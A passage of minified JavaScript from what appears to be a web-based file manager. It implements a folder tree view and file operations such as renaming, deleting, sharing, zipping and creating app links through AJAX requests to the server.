style="text-align:center;">'+LNG.system_error+"</div>")},success:function(e){if(!e.code)return $("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>"),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folderList"),f,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var a=i.getPreNode();if(a){if(a.open&&a.children.length>0)for(;a.open&&a.children&&a.children.length>=1;)a=a.children[a.children.length-1]}else a=i.getParentNode();o.selectNode(a);break;case"down":if(i.open&&i.children.length>=1)a=i.children[0];else{var n=i,a=n.getNextNode()||n.getParentNode().getNextNode();try{for(;!a;)n=n.getParentNode(),a=n.getNextNode()||n.getParentNode().getNextNode()}catch(e){}}o.selectNode(a);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},f={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,a=$("#"+t.tId+"_switch"),n=$("#"+t.tId+"_ico");a.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),n.before(a).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&n.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";a.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),a.parent().addClass(r).attr("title",l),0==t.is_writeable&&a.parent().addClass("file_not_writeable"),0==t.is_readable&&a.parent().addClass("file_not_readable"),0===t.exists&&a.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,a,n){return $("#"+a.tId+"_my_ico").removeClass("ico_loading"),0==n.data.length?(o.removeChildNodes(a),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,a,n){var s=n.getParentNode();if(o.getNodesByParam("name",n.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(n),void 0;if(n.create){var r=n.path+"/"+n.name;"folder"==n.type?i.newFolder(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)}):i.newFile(r,function(){t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g()},h(s)})}else{var l=rtrim(n.path,"/"),c=core.pathFather(n.path)+n.name;i.rname(l,c,function(e){n.path=e,t=function(){var e=o.getNodesByParam("name",n.name,s)[0];o.selectNode(e),g(),"folder"==n.type&&ui.path.list(n.path)},h(s)})}},beforeDrag:function(e,t){for(var i=0,a=t.length;a>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,a,n){var o="",s="",r=a[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=n.father+urlEncode(n.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},u=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),g()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:a,treeDataSort:r,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){a.openEditor(u().path)},openWindow:function(){a.openWindow(u().path)},share:function(){i.share(u())},download:function(){"folder"==u().type?i.zipDownload(u(!0)):a.download(u().path)},setSelect:function(e){if(o){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=u();"oexe"==e.type&&(e.path=e.node),a.open(e.path,e.type)}},fav:function(){var e=u();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=u();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",u().path)},appEdit:function(){var e=u(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(u(!0))},copy:function(){i.copy(u(!0))},cute:function(){i.cute(u(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(u(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(u(!0),e,function(){v()})})},favRemove:function(){i.favRemove(u().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=u();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=u();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(u(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=u(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){n||(n=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){n=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=u().path;"folder"!=u().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(u().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var a=o.getNodes();o.selectNode(a[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var n=u(),s=n.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:n.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:n.path}}if(void 0!=s.children){var f=o.addNodes(s,newNode)[0];o.editName(f)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+u().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],a=function(e){var a=function(e,t){for(var i=t.length,a=0;i>a;a++)if(e.indexOf(t[a])>0)return!0;return!1},n=i;return G.system_os&&"windows"==G.system_os&&(n=t),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)t.push({type:i(e[a].type),path:urlEncode(i(e[a].path))});return"data_arr="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,t.length)>a;a++)if(e.charAt(a)!=t.charAt(a)){var n=i.indexOf(e.charAt(a)),o=i.indexOf(t.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>t.charAt(a)?1:e.charAt(a)<t.charAt(a)?-1:0}return 0},s=function(e,t){if(void 0==e||void 0==t)return 0;var i=/([0-9\.]+)/g,a=(""+e).toLowerCase()||"",n=(""+t).toLowerCase()||"",s=String.fromCharCode(0),r=a.replace(i,s+"$1"+s).split(s),l=n.replace(i,s+"$1"+s).split(s),c=new Date(a).getTime(),d=c?new Date(n).getTime():null;if(d){if(d>c)return-1;if(c>d)return 1}for(var p=0,f=Math.max(r.length,l.length);f>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var u=o(oFxNcL,oFyNcL);if(0!=u)return u}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return a(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&(e&&e.info?t(e.info):t(!1))}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?a(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&(e&&e.info?i(e.info):i(!1))}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i,a){if(i=void 0==i?!1:i,a=void 0==a?!1:a,window.event&&window.event.shiftKey&&(a=!0),!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=n(e);if("share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),a&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e[0]&&e[0].path){var c="<b>"+htmlEncode(core.pathThis(e[0].path))+"</b>";s=e.length>1?c+' ... <span class="badge">'+e.length+LNG.remove_item+"</span><br/>"+s:c+"<br/>"+s}var d=function(){$.ajax({url:r,type:"POST",dataType:"json",data:l,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){if(Tips.close(i),ShareData.frameTop("",function(e){e.ui.f5()}),"share"==e[0].type){G.self_share=i.info;var a=$.dialog.list.share_dialog;void 0!=a&&a.close()}o==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof t&&t(i)}})};i?d():$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:o,padding:"40px 80px 40px 30px",lock:!0,background:"#000",opacity:.1,content:s,ok:d,cancel:!0})}},p=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCopy",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},f=function(e){var t=e.path,i=core.pathPre(t);if(i==G.KOD_GROUP_PATH||i==G.KOD_GROUP_SHARE||i==G.KOD_USER_SHARE)return Tips.tips(LNG.path_can_not_action,"warning"),void 0;var a="folder"==e.type?"folder":"file";1>t.length||core.authCheck("userShare:set")&&$.ajax({url:"./index.php?userShare/checkByPath&path="+urlEncode(t),dataType:"json",error:core.ajaxError,success:function(e){if(e.code)u(e.data);else{G.self_share=e.info;var i={path:t,type:a,name:core.pathThis(t)};h(i,function(e){e.code?(G.self_share=e.info,ui.f5(),u(e.data)):(Tips.tips(e),u(void 0,function(){$(".content_info input[name=type]").val(a),$(".content_info input[name=path]").val(t),$(".content_info input[name=name]").val(core.pathThis(t)+"(1)"),"file"==a&&($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden"))
|
||
}))})}}})},u=function(t,i){0!=$(".share_dialog").length&&$(".share_dialog").shake(3,30,100),e.async(["lib/jquery.datetimepicker/jquery.datetimepicker.css","lib/jquery.datetimepicker/jquery.datetimepicker.js"],function(){m(t),void 0!=i&&i()})},h=function(e,t){$.ajax({url:"index.php?userShare/set",data:e,type:"POST",dataType:"json",beforeSend:function(){$(".share_create_button").addClass("disabled")},error:function(){Tips.tips(LNG.error,!1)},success:function(e){$(".share_create_button").removeClass("disabled"),void 0!=t&&t(e)}})},m=function(t){var i=e("./tpl/share.html"),a=template.compile(i),n=a({LNG:LNG});$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,title:LNG.share,padding:"0",fixed:!0,content:n});var o="zh-CN"==G.lang?"ch":"en";$("#share_time").datetimepicker({format:"Y/m/d",formatDate:"Y/m/d",timepicker:!1,lang:o}),$("#share_time").unbind("blur").bind("blur",function(e){stopPP(e)});var s=function(e){if($(".share_setting_more").addClass("hidden"),void 0==e)$(".share_has_url").addClass("hidden"),$(".share_action .share_remove_button").addClass("hidden"),$(".content_info input[name=sid]").val(""),$(".content_info input[name=type]").val(""),$(".content_info input[name=name]").val(""),$(".content_info input[name=show_name]").val(""),$(".content_info input[name=path]").val(""),$(".content_info input[name=time_to]").val(""),$(".content_info input[name=share_password]").val(""),$(".share_view_info").addClass("hidden");else{e.can_upload===void 0&&(e.can_upload=""),t=e,e.show_name||(e.show_name=e.name),$(".content_info input[name=sid]").val(e.sid),$(".content_info input[name=type]").val(e.type),$(".content_info input[name=name]").val(e.name),$(".content_info input[name=show_name]").val(e.show_name),$(".content_info input[name=path]").val(e.path),$(".content_info input[name=time_to]").val(e.time_to),$(".content_info input[name=share_password]").val(e.share_password),$(".share_view_info").removeClass("hidden"),e.num_download===void 0&&(e.num_download=0),e.num_view===void 0&&(e.num_view=0);var i=LNG.share_view_num+e.num_view+" "+LNG.share_download_num+e.num_download;$(".share_view_info").html(i),"1"==e.code_read?$(".content_info input[name=code_read]").attr("checked","checked"):$(".content_info input[name=code_read]").removeAttr("checked"),"1"==e.not_download?$(".content_info input[name=not_download]").attr("checked","checked"):$(".content_info input[name=not_download]").removeAttr("checked"),"1"==e.can_upload?$(".content_info input[name=can_upload]").attr("checked","checked"):$(".content_info input[name=can_upload]").removeAttr("checked"),$(".share_has_url").removeClass("hidden"),"file"==e.type?($(".label_code_read").addClass("hidden"),$(".label_can_upload").addClass("hidden")):($(".label_code_read").removeClass("hidden"),$(".label_can_upload").removeClass("hidden"));var a=e.type;"folder"==e.type&&(a=1==e.code_read?"code_read":"folder");var n=G.app_host+"index.php?share/"+a+"&user="+G.user_id+"&sid="+e.sid;$(".content_info .share_url").val(n),(e.time_to||e.share_password||e.can_upload||e.code_read||e.not_download)&&$(".share_setting_more").removeClass("hidden"),$(".share_remove_button").removeClass("hidden"),$(".share_create_button").text(LNG.share_save)}},r=function(){$(".share_action .share_remove_button").unbind("click").click(function(){d([{type:"share",path:t.sid}],function(){ui.f5()})}),$(".content_info .share_more").unbind("click").click(function(){$(".share_setting_more").toggleClass("hidden")}),$(".share_action .share_create_button").unbind("click").click(function(){var e="";$(".share_dialog .content_info input[name]").each(function(){var t=urlEncode($(this).val());"checkbox"==$(this).attr("type")&&(t=$(this).attr("checked")?"1":""),e+="&"+$(this).attr("name")+"="+t}),h(e,function(e){e.code?(Tips.tips(LNG.success,!0),G.self_share=e.info,ui.f5(),s(e.data),$(".share_create_button").text(LNG.share_save)):Tips.tips(e)})}),$(".content_info .open_window").unbind("click").bind("click",function(){window.open($("input.share_url").val())}),$(".content_info .qrcode").unbind("click").bind("click",function(){core.qrcode($("input.share_url").val())});var e=$("input.share_url"),i=e.get(0);e.unbind("hover click").bind("hover click",function(){$(this).focus();var t=e.val().length;if($.browser.msie){var a=i.createTextRange();a.moveEnd("character",-i.value.length),a.moveEnd("character",t),a.moveStart("character",0),a.select()}else i.setSelectionRange(0,t)})};s(t),r()},_=function(e){$.ajax({url:"index.php?setting/set&k=wall&v="+urlEncode(e),dataType:"json",success:function(e){Tips.tips(e)}})},v=function(e,t,i,a,n){if(console.log(e,t,i,a,n),!(1>e.length)){var o,s=G.my_desktop;a&&(s=core.pathFather(e)),o="folder"==i?"ui.path.list(hashDecode('"+hashEncode(e)+"'));":"ui.path.open(hashDecode('"+hashEncode(e)+"'));";var r=urlEncode(s+t+".oexe"),l=core.getPathIcon(e);""==l.icon&&(l.icon=i),$.ajax({url:"./index.php?explorer/mkfile&path="+r,type:"POST",dataType:"json",data:{content:jsonEncode({type:"app_link",content:o,icon:l.icon})},success:function(e){Tips.tips(e),e.code&&(ShareData.frameTop("",function(e){e.ui.f5()}),"function"==typeof n&&n(e.info))}})}},g=function(e,t){if(!(1>e.length)){var i=core.pathThis(e),a=core.pathFather(e);jsrun="core.explorerCode('"+urlEncode(e)+"');";var n=urlEncode(a+i+"_project.oexe");$.ajax({url:"./index.php?explorer/mkfile&path="+n,type:"POST",dataType:"json",data:'content={"type":"app_link","content":"'+jsrun+'","icon":"folder.png"}',success:function(e){e.code&&"function"==typeof t&&t(e.info)}})}},b=function(e){1>e.length||$.ajax({url:"index.php?explorer/pathCute",type:"POST",dataType:"json",data:n(e),error:core.ajaxError,success:function(e){Tips.tips(e)}})},y=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var i="index.php?explorer/pathPast&path="+urlEncode(e);$.ajax({url:i,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},k=function(t){var i={};i.file_info=e("./tpl/fileinfo/file_info.html"),i.path_info=e("./tpl/fileinfo/path_info.html"),i.path_info_more=e("./tpl/fileinfo/path_info_more.html"),1>t.length&&(t=[{path:G.this_path,type:"folder"}]);var a="info";1==t.length&&(a="file"==t[0].type?core.pathExt(t[0].path):"folder"),Tips.loading(LNG.getting),core.fileInfo(n(t),function(e){if(!e.code)return Tips.close(e),void 0;Tips.close(LNG.get_success,!0);var n="path_info_more",o=LNG.info;1==t.length&&(n="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[n]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(a),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),x(r,t)})},x=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var a=i.find(".file_md5_loading");if(1==a.length){var o=n(t);o+="&get_md5=1",core.fileInfo(o,function(e){a.removeClass("file_md5_loading"),e.code?a.html(e.data.file_md5):a.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:n(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),t+="&access_token="+G.access_token,$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('<iframe src="'+t+'" style="display:none;width:0px;height:0px;"></iframe>').appendTo("body")}})}},N=function(e,t,i){1>e.length||(i||(i="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+i,type:"POST",dataType:"json",data:n(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},L=function(e,t,i){if(e){var a=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},n="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(n+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){n+="&path_to="+e,a(n)}):a(n)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},z=function(e,t,i,a){t&&(void 0==a&&(a=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:n(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(a),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},T=function(){var e=function(e,t){var i='<div style="padding:20px;">null!</div>';if(0!=e.length){i='<div style="height:200px;overflow:auto;padding:10px;width:400px"><b>'+LNG.clipboard_state+LNG[t]+"</b><br/>";for(var a=40,n=0;e.length>n;n++){var o=e[n],s=o.path;s=a>s.length?s:"..."+s.substr(-a),i+="<br/>"+o.type+": <a href='javascript:ui.pathOpen.open(\""+htmlEncode(o.path)+'","'+o.type+"\");'>"+s+"</a>"}i+="</div>"}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},S=function(e,t,i){var a=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(a(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:a,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,a){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==a&&(a="user_edit"),"root_edit"==a&&(t=t),"user_edit"==a||"root_edit"==a?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(n);switch(a){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==a||"root_add"==a){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),n=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui_content").css("overflow","inherit"),a){case"user_edit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":n.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(n)},A=function(){core.appStore()},F=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;i=i.replace(/[\/\\]/g,"_"),Tips.close(t);var 